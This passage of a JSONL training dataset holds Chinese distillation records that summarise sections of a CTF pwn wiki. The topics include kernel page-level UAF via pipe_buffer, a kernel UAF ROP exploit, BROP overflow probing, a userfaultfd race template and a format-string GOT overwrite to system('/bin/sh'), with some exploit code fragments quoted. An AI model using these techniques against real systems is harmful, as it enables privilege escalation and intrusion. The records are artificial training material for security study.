"ctf_score": 26, "ctf_task_type": "pwn", "heading": "总结 large bin attack 的利用方法", "heading_path": ["Large Bin Attack", "总结 large bin attack 的利用方法"], "original_id": "docs-75471723d0f88daf6224", "original_line": 1005, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack.md", "source_root": "docs", "source_sha256": "a3874f938d038db562e482946f7acdbd2a42c9b39aa915aa7a16ac6ce9d37207", "split": "train", "split_group_key": "dd545598592a61045f2c0865", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Large Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-750d199363c615aae66f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「Step.II - fcntl(F\\_SETPIPE\\_SZ) 更改 pipe\\_buffer 所在 slub 大小，跨页溢出构造页级 UAF」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`\n标题：Page-level UAF\n章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Step.II - fcntl(F\\_SETPIPE\\_SZ) 更改 pipe\\_buffer 所在 slub 大小，跨页溢出构造页级 UAF\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Step.II - fcntl(F\\_SETPIPE\\_SZ) 更改 pipe\\_buffer 所在 slub 大小，跨页溢出构造页级 UAF”展开。\n- 不过需要注意的是，由于 page 结构体的大小为 0x40，其可以被 0x100 整除，因此若我们所溢出的目标 page 的地址最后一个字节刚好为 \\x00， _那就等效于没有溢出_ ，因此实际上利用成功率仅为 75% ` 。\n- 文件: ./figure/d3kcache-page-uaf.png] 同时管道的特性还能让我们在 UAF 页面上任意读写，这使得我们可以将该 page 分配为其他 kmem\\_cache 的 slub pages 后，利用管道对上面的对象实现任意读写。\n- 但是有一个小问题，pipe_buffer 来自于 kmalloc-cg-1k ，其会请求 order-2 的页面，而题目模块的对象大小为 2k，其会请求 order-3 的页面，如果我们直接进行不同 order 间的堆风水的话，则利用成功率会大打折扣 。\n- ` 那么我们不难想到的是我们可以通过 fcntl() 重新分配单个 pipe 的 pipe\\_buffer 数量，： - 对于每个 pipe 我们指定分配 64 个 pipe\\_buffer，从而使其向 kmalloc-cg-4k 请求对象，而这将最终向 buddy system 请求 order-3 的页面 由此，我们便成功使得 pipe_buffer 与题目模块的对象处在同一 order 的内存页上，从而提高 cross-cache overflow 的成功率。\n- 接下来我们考虑溢出的目标对象，由于仅有一个字节的溢出，毫无疑问的是我们需要寻找一些在结构体头部便有指向其他内核对象的指针的内核对象，我们不难想到的是 pipe_buffer 是一个非常好的的利用对象，其开头有着指向 page 结构体的指针，而 page 的大小仅为 0x40 ，可以被 0x100 整除，若我们能够通过 partial overwrite 使得两个管道指向同一张页面，并释放掉其中一个，我们便构造出了页级的 UAF： [图片: original state;\n\n关键术语：\n- UAF\n- 边界/溢出\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 5 行，首行 `struct pipe_inode_info *alloc_pipe_info(void)`\n- c: 23 行，首行 `long pipe_fcntl(struct file *file, unsigned int cmd, unsigned long arg)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2034, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "Step.II - fcntl(F\\_SETPIPE\\_SZ) 更改 pipe\\_buffer 所在 slub 大小，跨页溢出构造页级 UAF", "heading_path": ["Page-level UAF", "例题：D^3CTF2023 - d3kcache", "漏洞利用", "Step.II - fcntl(F\\_SETPIPE\\_SZ) 更改 pipe\\_buffer 所在 slub 大小，跨页溢出构造页级 UAF"], "original_id": "docs-143dada9fd2097c87382", "original_line": 745, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "source_root": "docs", "source_sha256": "9556b48cfce4fb3e87c0e04e6cd2793e0719241e2bc305a1f292d6b02d17d186", "split": "train", "split_group_key": "e577cd06a5681fa6183ccaf7", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "边界/溢出", "堆", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "Page-level UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-755e62689ce845f5ab4c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md` 中的章节「Exploit」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md`\n标题：kernel UAF\n章节：kernel UAF > 例题：CISCN2017 - babydriver > Exploit\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Exploit”展开。\n- } void getRootShell(void) { if(getuid()) { printf(\"\\033[31m\\033[1m[x] Failed to get the root!\n- } int main(void) { printf(\"\\033[34m\\033[1m[] Start to exploit...\\033[0m\\n\");\n- if(sym_table_fd < 0) { printf(\"\\033[31m\\033[1m[x] Failed to open the sym_table file!\n- } } size_t rop[0x20], p = 0;\n- rop[p++] = MOV_CR4_RDI_POP_RBP_RET;\n\n关键术语：\n- UAF\n- 堆\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 101 行，首行 `#include `\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2730, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "Exploit", "heading_path": ["kernel UAF", "例题：CISCN2017 - babydriver", "Exploit"], "original_id": "docs-2e38bf1f700312100fed", "original_line": 777, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md", "source_root": "docs", "source_sha256": "8e6b9adbb421820e0d460522b874c1fb80d883af40c04dfc833c137f2c35fa9f", "split": "train", "split_group_key": "3a8cde3cb7e1231f4ce838d7", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "kernel UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-756165b3ee4c2cdd16d2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「确定栈溢出长度」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`\n标题：中级ROP\n章节：中级ROP > BROP > 例子 > 确定栈溢出长度\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“确定栈溢出长度”展开。\n- \\n') sh.send(i * 'a') output = sh.recv() sh.close() if not output.startswith('No password'): return i - 1 else: i += 1 except EOFError: sh.close() return i - 1 `` 根据上面，我们可以确定，栈溢出的长度为72。\n- 同时，根据回显信息可以发现程序并没有开启canary保护，否则，就会有相应的报错内容。\n- ``python def getbufferflow_length(): i = 1 while 1: try: sh = remote('127.0.0.1', 9999) sh.recvuntil('WelCome my friend,Do you know password?\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:python\n\n代码/命令片段线索：\n- python: 16 行，首行 `def getbufferflow_length():`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 410, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "确定栈溢出长度", "heading_path": ["中级ROP", "BROP", "例子", "确定栈溢出长度"], "original_id": "docs-923b03775292ee311044", "original_line": 1293, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "source_root": "docs", "source_sha256": "2d11b5635ce2a11d71a4845a96933e353841718735da91048aa864c3d2273a3a", "split": "train", "split_group_key": "2b68a3afd989c27ddc84f81f", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow", "code:python"], "title": "中级ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-757f9274ec5476614d05", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「检查旧堆信息1」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：define GLRO(name) _##name > 检查旧堆信息1\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“检查旧堆信息1”展开。\n- ` 这个检查要求满足其中任何一个条件 1. old_top == initial_top(av) && old_size == 0，即如果是第一次的话，堆的大小需要是 0。\n- 2. ((unsigned long)old_end & (pagesize - 1)) == 0)`，堆的结束地址应该是页对齐的，由于页对齐的大小默认是0x1000，所以低 12 个比特需要为 0。\n- 2. 新的堆，那么 1. (unsigned long)(old_size) >= MINSIZE && prev_inuse(old_top)，堆的大小应该不小于 MINSIZE，并且前一个堆块应该处于使用中。\n- ``c / If not the first time through, we require old_size to be at least MINSIZE and to have prev_inuse set. / assert((old_top == initial_top(av) && old_size == 0) || ((unsigned long)(old_size) >= MINSIZE && prev_inuse(old_top) && ((unsigned long)old_end & (...\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 7 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 598, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "检查旧堆信息1", "heading_path": ["define GLRO(name) _##name", "检查旧堆信息1"], "original_id": "docs-fe13cc64a6223438f12e", "original_line": 1163, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "1ba55fc3e09086002fcd8923", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-759a7837f0d23d80f8ef", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/tricks/initramfs.md` 中的章节「在内存中直接搜索 flag」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/tricks/initramfs.md`\n标题：在内存中直接搜索 flag\n章节：在内存中直接搜索 flag\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“在内存中直接搜索 flag”展开。\n- Initial RAM disk（initrd）提供了在 boot loader 阶段载入一个 RAM disk 并挂载为根文件系统的能力，从而在该阶段运行一些用户态程序，在完成该阶段工作之后才是挂载真正的根文件系统。\n- initrd 文件系统镜像通常为 gzip 格式，在启动阶段由 boot loader 将其路径传给 kernel，自 2.6 版本后出现了使用 cpio 格式的initramfs，从而无需挂载便能展开为一个文件系统。\n- initrd/initramfs 的特点便是文件系统中的所有内容都会被读取到内存当中，而大部分 CTF 中的 kernel pwn 题目都选择直接将 initrd 作为根文件系统，因此若是我们有着内存搜索能力，我们便能直接在内存空间中搜索 flag 的内容 ：）\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 367, "chunk_count": 1, "chunk_index": 0, "ctf_score": 34, "ctf_task_type": "pwn", "heading": "在内存中直接搜索 flag", "heading_path": ["在内存中直接搜索 flag"], "original_id": "docs-36555807605ebe72cdda", "original_line": 828, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/initramfs.md", "source_root": "docs", "source_sha256": "05a9c458be1e0d960cf97f14bb2dcbca7c76bc21aaf90f606e02263f7b1cc4c7", "split": "train", "split_group_key": "95d14e30b3432468c8ecc309", "subcategory": "pwn/linux/kernel-mode", "terms": ["漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "在内存中直接搜索 flag"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/initramfs.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-75adaf9edbc9b4fdd0bd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「get all the addr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > get all the addr\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“get all the addr”展开。\n- addr = payload[:32] payload = '%32d' + payload[32:] offset = (int)(math.ceil(len(payload) / 8.0) + 1) for i in range(6, 10): old = '%{}$'.format(i) new = '%{}$'.format(offset + i) payload = payload.replace(old, new) remainer = len(payload) % 8 payload += (8...\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 325, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "get all the addr", "heading_path": ["例子", "get all the addr"], "original_id": "docs-84da3387a89254efa8d9", "original_line": 883, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "1d2c43ed13633566e58b69c9", "subcategory": "pwn/linux/user-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-766926056042ee1b1b9c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md` 中的章节「使用方法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md`\n标题：用 userfaultfd 创造条件竞争\n章节：用 userfaultfd 创造条件竞争 > 使用方法\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“使用方法”展开。\n- 在 Linux man page 当中便已经为我们提供了 userfaultfd 的基本使用模板，我们只需要稍加修改便能直接投入到实战当中，下面笔者给出自用的为特定内存注册 userfaultfd monitor 的模板： ``c void err_exit(char msg) { printf(\"\\033[31m\\033[1m[x] Error at: \\033[0m%s\\n\", msg);\n- } ` 我们可以直接通过如下操作来为一块匿名的 mmap 内存注册 userfaultfd： `c register_userfaultfd(thread, addr, len, handler);\n- ` 需要注意的是 handler 的写法，这里笔者直接照抄 Linux man page 改了改，可以根据个人需求进行个性化改动： `c static char uffd_src_page = NULL;\n- / [在这停顿.jpg] 当 poll 返回时说明出现了缺页异常 你可以在这里插入一些比如说 sleep() 一类的操作， 例如等待其他进程完成对象的重分配后再重新进行拷贝一类的，也可以直接睡死 ：） / if (nready == -1) err_exit(\"poll\");\n- } void register_userfaultfd(pthread_t monitor_thread, void addr, unsigned long len, void (handler)(void)) { long uffd;\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 29 行，首行 `void err_exit(char *msg)`\n- c: 1 行，首行 `register_userfaultfd(thread, addr, len, handler);`\n- c: 43 行，首行 `static char *uffd_src_page = NULL; // 你要拷贝进去的数据`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2395, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "使用方法", "heading_path": ["用 userfaultfd 创造条件竞争", "使用方法"], "original_id": "docs-309aeb5968645a169f68", "original_line": 788, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/userfaultfd.md", "source_root": "docs", "source_sha256": "dde0fc852d95e289946e221dcdbd708b2ffb4d862226dc56b80d81bf3e5cc02f", "split": "train", "split_group_key": "33323049be82e561e64f8a57", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "用 userfaultfd 创造条件竞争"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/userfaultfd.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-766bd1e64f918ae36f04", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/arm/rop.md` 中的章节「利用思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/arm/rop.md`\n标题：Arm ROP\n章节：Arm ROP > jarvisoj - typo > 利用思路\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“利用思路”展开。\n- 因此需要我们找一个溢出点，先运行一下程序，因为是静态链接的，所以在环境配置好的情况下直接运行即可 ``bash jarvisOJ_typo [master●●] ./typo Let's Do Some Typing Exercise~ Press Enter to get start;\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:bash\n\n代码/命令片段线索：\n- bash: 11 行，首行 `jarvisOJ_typo [master●●] ./typo`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 516, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "利用思路", "heading_path": ["Arm ROP", "jarvisoj - typo", "利用思路"], "original_id": "docs-0c419f7d7a25d6ea41b7", "original_line": 64, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/arm/rop.md", "source_root": "docs", "source_sha256": "088cfa4d64c56e227fcc369cb08e6f09f032eed8a0871712fd40a0da93312718", "split": "train", "split_group_key": "60458310b92533f86978b0ad", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:bash"], "title": "Arm ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/arm/rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7678a217c454e7deb691", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「get addr of system」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > get addr of system\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“get addr of system”展开。\n- libc = LibcSearcher(\"puts\", puts_addr) system_offset = libc.dump('system') puts_offset = libc.dump('puts') system_addr = puts_addr - puts_offset + system_offset log.success('system addr : ' + hex(system_addr))\n\n关键术语：\n- pwn\n- linux\n- user-mode\n- fmtstr\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 209, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "get addr of system", "heading_path": ["例子", "get addr of system"], "original_id": "docs-179e0ca16d9b3bb40c5b", "original_line": 863, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "d6041ca4222085c0048658b2", "subcategory": "pwn/linux/user-mode", "terms": ["pwn", "linux", "user-mode", "fmtstr"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-76846c078b258b7a3be5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「modify puts@got, point to system_addr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > modify puts@got, point to system_addr\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“modify puts@got, point to system_addr”展开。\n- payload = fmtstr_payload(7, {puts_got: system_addr}) put('/bin/sh;\n- ', payload) sh.recvuntil('ftp>') sh.sendline('get') sh.recvuntil('enter the file name you want to get:') ##gdb.attach(sh) sh.sendline('/bin/sh;\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 211, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "modify puts@got, point to system_addr", "heading_path": ["例子", "modify puts@got, point to system_addr"], "original_id": "docs-423455665ddb127dd6ed", "original_line": 864, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "c2c34a6b7f4a4781edbe1246", "subcategory": "pwn/linux/user-mode", "terms": ["漏洞利用", "pwn", "linux", "user-mode", "fmtstr"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-774a3d89c12d351421f7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「是否连续」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：define DEFAULT_TOP_PAD 131072 > 是否连续\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“是否连续”展开。\n- 如果我们希望堆的空间连续的话，那么其实可以复用之前的内存。\n- ``c / If contiguous, we can subtract out existing space that we hope to combine with new space.\n- We add it back later only if we don't actually get contiguous space. / if (contiguous(av)) size -= old_size;\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 7 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": 